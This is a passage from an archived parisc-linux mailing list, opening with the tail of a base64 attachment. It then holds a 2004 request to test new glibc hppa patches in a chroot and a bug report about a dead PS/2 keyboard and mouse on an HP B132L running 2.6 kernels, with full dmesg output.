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


------=_NextPart_000_0011_00004A87.00000354--




From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New glibc patches 2004-03-08, fixes GLRO changes.
Date: Mon, 8 Mar 2004 12:49:14 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20040308174914.GC19791@baldric.uwo.ca>
References: <20040307212316.GI5139@baldric.uwo.ca>
	<4045FF3900002A8A@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623247 6370 80.91.229.3 (22 Nov 2014 02:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Mon Mar  8 10:51:01 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65F0548AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 10:51:01 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B0OsN-0005DE-00; Mon, 08 Mar 2004 12:49:15 -0500
Content-Disposition: inline
In-Reply-To: <4045FF3900002A8A@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 17:51:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21012

On Mon, Mar 08, 2004 at 08:27:34AM +0100, Joel Soete wrote:
> Oops I miss somehing,

New patches here, passes testsuite without regression.

http://www.parisc-linux.org/~carlos/glibc-hppa-patches-2004-03-08.tar.gz

Joel,

Is there any chance that you could do some testing for me please?

1. Use debootstrap to build a chroot (/mnt/chroot)
2. Compile glibc with --prefix=/mnt/chroot
3. Install the new glibc there.
4. Test out running some stuff from the chroot.
	o Try running Xnest
	o Try running X applications through Xnest
	o Try building a new kernel in the chroot.

Thanks!

c.


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 8 Mar 2004 12:28:37 +0100 (CET)
Lines: 1109
Approved: news@gmane.org
Message-ID: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623247 6372 80.91.229.3 (22 Nov 2014 02:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: andy@puszczka.com  Mon Mar  8 04:20:53 2004
Return-Path: <andy@puszczka.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3890A48E4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 04:20:52 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 9382A34FC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 12:20:50 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 0B3BA82EF; Mon,  8 Mar 2004 12:28:37 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 8 Mar 2004 12:28:37 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-Mailman-Approved-At: Mon, 08 Mar 2004 19:01:47 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 11:20:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21013

I've a B132L running Gentoo. With 2.4 I had the PS/2 keyboard working fine
throught a Raritan Compuswitch KVM, but the mouse (wireless Intellimouse
clone - 2 buttons pluss roller/middle) was dead. Decided to try out 2.6
partly to excercise udev, but mostly in the hope that all the input layer
work and PS/2 changes would bring the mouse to life. I should probably add
that there are two PCs on the KVM - one running 2.6.3 and one running
2.4.24. Both run the mouse and keyboard flawlessly.

To the point. I grabbed 2.6.3-pa0 from Gentoo hppa-dev-kernel, configured
and compiled it. The keyboard and mouse are both dead. I downloaded
2.6.4-rc1-pa2 from cvs.parisc-linux.org but the result is exactly the same.
Some info below. Clues anybody?

Why is 8/12 (0x00089) reported as unknown in the device table and in
proc/interrupts? Its the Zalon HVD SCSI.

What about the SDC failed transactions. Is that an artifact of having HIL
compiled in but unused?

regards,
-Andy

weasel drivers # uname -a
Linux weasel 2.6.4-rc1-pa2 #2 Sun Mar 7 17:49:32 CET 2004 parisc PA7300LC
(PCX-L2) 9000/778/B132L GNU/Linux

weasel drivers # dmesg
Linux version 2.6.4-rc1-pa2 (root@weasel) (gcc version 3.3.2) #2 Sun Mar 7
17:49:32 CET 2004
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005010 00000481 00000000 02020202 77f85570 100000f0 00000004
000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B132L
Total Memory: 384 Mb
On node 0 totalpages: 98304
  DMA zone: 98304 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: root=/dev/sda2 HOME=/ console=tty0 sti=8/8
sti_font=VGA8x16 TERM=linux palo_kernel=2/boot/vmlinux
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Memory: 385388k available
Calibrating delay loop... 87.85 BogoMIPS
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096
} 2. Merlin+ 132 Dino RS-232 at 0xfff83000 [3] { 10, 0x0, 0x022, 0x0008c }
3. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
4. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x1, 0x680, 0x0000a } 5.
Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 } 6.
unknown device at 0xfff8c000 [8/12] { 4, 0x0, 0x03c, 0x00089 }
7. Merlin 132 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03c, 0x00081 }, 
additional addresses: 0xffd0c000 0xffc00000
8. Merlin 132 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03c,
0x00074 },  additional addresses: 0xffd01000 0xffd03000
9. Merlin 132 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03c, 0x0007b
} 10. Merlin 132 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03c,
0x0008c } 11. Merlin 132 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0,
0x03c, 0x00082 } 12. Merlin 132 Core LAN (802.3) at 0xffd07000 [8/16/6] {
10, 0x0, 0x03c, 0x0008a }
13. Merlin 132 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03c,
0x00084 }
14. Merlin 132 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03c,
0x00084 }
15. Merlin 132 Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x040, 0x0008e } 16.
Merlin 132 Wax HIL at 0xffe01000 [8/20/1] { 10, 0x0, 0x040, 0x00073 } 17.
Merlin 132 Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x040, 0x0008c }
18. Merlin 132 Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x040,
0x00090 },  additional addresses: 0xf0184000
19. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085
},  additional addresses: 0xf0011000
20. Merlin L2 132 (9000/778/B132L) at 0xfffbe000 [62] { 0, 0x0, 0x501,
0x00004 }
21. Memory at 0xfffbf000 [63] { 1, 0x0, 0x060, 0x00009 }
CPU(s): 1 x PA7300LC (PCX-L2) at 132.000000 MHz
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0184000
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC000 detected.
EISA: Detected 0 cards.
Dino parisc8:0 version 2.1 found at 0xfff80000
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

Dino parisc8:0: No PCI devices enabled.
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B_LZ
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_1280
fb0: stifb 1280x1024-8 frame buffer device, HPA4071B_LZ, id: 2bcb015a,
mmio: 0xf4100000
fb1: stifb 1280x1024-8 frame buffer device, INTERNAL_EG_1280, id:
2d08c0a7, mmio: 0xf8100000
ikconfig 0.7 with /proc/config*
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 160x64
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
Serial: device 0xfff83000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth%d: 82596 at 0xffd07000, 00 60 B0 07 1C 2C IRQ 87.
82596.c $Revision: 1.29 $
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
zalon_probe: Zalon vers field is 0x1, IRQ 35
ncr53c720-0: rev 0xf irq 35
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3e
Using anticipatory io scheduler
  Vendor: SEAGATE   Model: ST39173WD         Rev: 5764
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi1: (2:0) Synchronous at offset 8, period 236ns
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
  Type:   CD-ROM                             ANSI SCSI revision: 02
st: Version 20040213, fixed bufsize 32768, s/g segs 256
ncr53c720-0-<0,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 17783240 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 0, lun 0,  type 0
Attached scsi generic sg1 at scsi1, channel 0, id 2, lun 0,  type 5
Console: switching to colour frame buffer device 160x64
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
HP SDC: HP SDC reports successful PUP.
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware
reset. HP SDC MLC: Registering the System Domain Controller's HIL MLC.
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET: Registered protocol family 1
NET: Registered protocol family 17
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 332k freed
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
